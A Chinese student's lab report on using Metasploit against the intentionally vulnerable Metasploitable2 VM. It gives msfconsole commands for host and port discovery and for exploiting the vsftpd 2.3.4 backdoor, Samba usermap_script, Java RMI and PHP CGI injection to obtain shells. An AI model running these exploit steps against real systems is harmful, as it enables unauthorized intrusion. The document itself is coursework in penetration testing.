20222320 2024-2025-1 《网络与系统攻防技术》实验6实验报告

news/2024/11/17 17:28:16/文章来源:https://www.cnblogs.com/20222320zcc/p/18550712

目录

目录
  • 目录
  • 1.实验目标
  • 2.实验内容
  • 3.实验过程
    • 3.1 前期渗透
    • 3.2 Vsftpd源码包后门漏洞(21端口)
    • 3.3 SambaMS-RPC Shell命令注入漏洞(端口139)
    • 3.4 Java RMI SERVER命令执行漏洞(1099端口)
    • 3.5 PHP CGI参数执行注入漏洞(80端口)
  • 4.问题及解决方案
  • 5.学习感悟、思考等

1.实验目标

掌握metasploit的用法。

2.实验内容

下载官方靶机Metasploitable2,完成下面实验内容。

  •   (1)前期渗透
  • (2)Vsftpd源码包后门漏洞(21端口)
  • (3)SambaMS-RPC Shell命令注入漏洞(端口139)
  • (4)Java RMI SERVER命令执行漏洞(1099端口)
  • (5)PHP CGI参数执行注入漏洞(80端口)

3.实验过程

3.1 前期渗透

1.首先查找主机:

msfconsole 
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24


查找到几个主机,1.108就是我们要攻击的主机了:

2.端口扫描:

search portscan/tcp
use 0
set RHOSTS 192.168.1.108
run


扫到许多开放端口
3.扫描系统:

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.108
run


可以看出,这个是UNIX系统的Samba 3.0.20-Debian,445端口有漏洞

3.2 Vsftpd源码包后门漏洞(21端口)

对VSFTPD 2.3.4 的攻击就是通过向21端口发送一个特定字节的序列“:)结尾”来触发恶意的vsf_sysutil_extra()函数。一旦成功执行,就会在系统的6200端口打开一个后门,从而进行利用
选相应载荷就行

search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.108
run


看到+号就成功了,输入ifconfig显示的是靶机的ip,攻击成功

3.3 SambaMS-RPC Shell命令注入漏洞(端口139)

该漏洞传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行

search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.108
run

入侵成功后用uname -a验证,看到系统名,证明成功

3.4 Java RMI SERVER命令执行漏洞(1099端口)

Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。
之前扫描已经发现1099端口打开了

search exploit/multi/misc/java_rmi_server
use 0
set RHOST 192.168.1.108
run


攻击完成后,用

sessions -i 3     --进入服务
shell            --进入shell

进入shell用whoami验证,结果为rootx

3.5 PHP CGI参数执行注入漏洞(80端口)

该漏洞影响 PHP 的 CGI 模式。在此模式下,Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然后脚本对其进行一些处理,查询字符串被解析并传递给命令行上的 PHP 解释器

search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.108
exploit

攻击顺利完成,输入dir:

4.问题及解决方案

按照实验指导书完成的,过程顺利,没什么问题

5.学习感悟、思考等

这次实验六在我看来倒不如说是对上次作业的一个小复习,这次实验的靶机环境稳定,简单;而且过程也详细给出了,基本没什么难点。是一次对metasploit框架的验证性复习,通过这次的几个端口攻击,我总结到就是扫主机,扫端口,查看端口是否有对应漏洞,根据漏洞进行攻击。流程就是这样,用工具让流程简单化了而已。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/835420.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IMPRINT:通过学习身份保持表示进行生成对象合成

IMPRINT:通过学习身份保持表示进行生成对象合成生成对象合成作为合成图像编辑的一种有前景的新途径出现了。然而,对象身份保存的要求带来了重大挑战,限制了大多数现有方法的实际使用。作为回应,介绍了IMPRINT,这是一种基于扩散的生成模型,采用两阶段学习框架进行训练,将…

联邦学习开山之作Communication-Efficient Learning of Deep Networks from Decentralized Data

1 介绍 1.1 背景 越来越多的手机和平板电脑成为许多人的主要计算设备。这些设备上强大的传感器(包括摄像头、麦克风和GPS),加上它们经常被携带的事实,意味着它们可以访问前所未有的大量数据,其中大部分本质上是私人的。根据这些数据学习的模型持有承诺通过支持更智能的应用…

高级语言程序设计课程第7次个人作业

2024高级语言程序设计:https://edu.cnblogs.com/campus/fzu/2024C/ 高级语言程序设计课程第7次个人作业:https://edu.cnblogs.com/campus/fzu/2024C/homework/13304 学号:102400128 姓名:吴俊衡 1: 问题:无2: 问题:刚开始没想出来怎么弄,后面递归不会就用了多个for循环3:…

TYPE-C PD浅谈(四)

TYPE-C PD浅谈(四) 当对接识别完成后,Provider会先在VBUS上提供5V,接着会在CC脚位上送出Source Capability(SRC_CAP),格式如下:内容定义了供电的各种选项,如共有几组电源可选,相对应的电压电流等。 当Consumer接收到SRC_CAP封包后,会针对电源列表的内容,挑选一组电压…

STM32F103开发

本节我们将会对STM32的硬件资源进行介绍,包括如下内容:点亮LED; 检测按键按下和松开事件; 串口; 点亮128*128 TFT_LCD液晶屏;一、点亮LED 1.1 电路原理图 LED电路原理图如下图所示:其中:LED1连接到PA8`引脚,低电平点亮; LED2连接到PD2引脚,低电平点亮;1.2 GPIO引脚…

团队项目Scrum冲刺-day7

一、每天举行站立式会议 站立式会议照片一张昨天已完成的工作成员 任务陈国金 协助代码沙箱Docker实现凌枫 创建题目页面陈卓恒 协助开发创建题目页面谭立业 协助开发创建题目页面廖俊龙 接口测试曾平凡 前端页面测试曾俊涛 代码沙箱Docker实现薛秋昊 协助代码沙箱Docker实现今…

爱码单车队-冲刺日志第四天

会议记录:今天主要是投入一些后端的开发任务,然后开始实现基础的登录绑定用户的功能。

2024-2025-1 20241314 《计算机基础与程序设计》第八周学习总结

2024-2025-1 20241314 《计算机基础与程序设计》第八周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 2024-2025-1计算机基础与程序设计第八周作业这个作业的目标 功能设计与面向对象设计 面向对象设计过…

bolt.new只要5分钟就能完成1个网站,神奇惊艳

下面是我用bolt.new5分钟完成的首页,前端页面配色和css都很好看,我觉得很惊艳啦!网站截图如下# 网站介绍生成随机yes或者no答案的网站,每次点击oracle按钮,可以生成yes或者no的随机答案,帮助选择困难症用户,轻松选择yes还是no 网站网址https://yesnooracle.dev 功能特点…

2024-2025-1 20241415《计算机基础与程序设计》第八周学习总结

如2024-2025-1 20241415 《计算机基础与程序设计》第八周学习总结 作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 2024-2025-1计算机基础与程序设计第八周作业这个作业的目标 功能设计与面向对象设计,面向对象设计过程,面向对象语言三要…

爱码单车队-冲刺日志第二天

会议记录:在第二天的冲刺中,团队成员在接口文档设计与前端框架方面取得了一定进展。经过小组的共同努力,确定了前段设计与后端对接的接口, 为后续的开发工作奠定了基础。虽然目前前端设计与预期原型存在较大差距,但基本功能已经得以实现。 接下来,团队将继续优化功能,并…

猿人学web端爬虫攻防大赛赛题第20题——2022新春快乐

题目网址:https://match.yuanrenxue.cn/match/20 解题步骤解题之前需要先了解wasm是什么:https://docs.pingcode.com/ask/294587.html看数据包。sign是一串加密的字符串,t一看就是时间戳。全局搜索api/match/20,只有一处。打断点,触发。看下sign的生成逻辑。 "sign&q…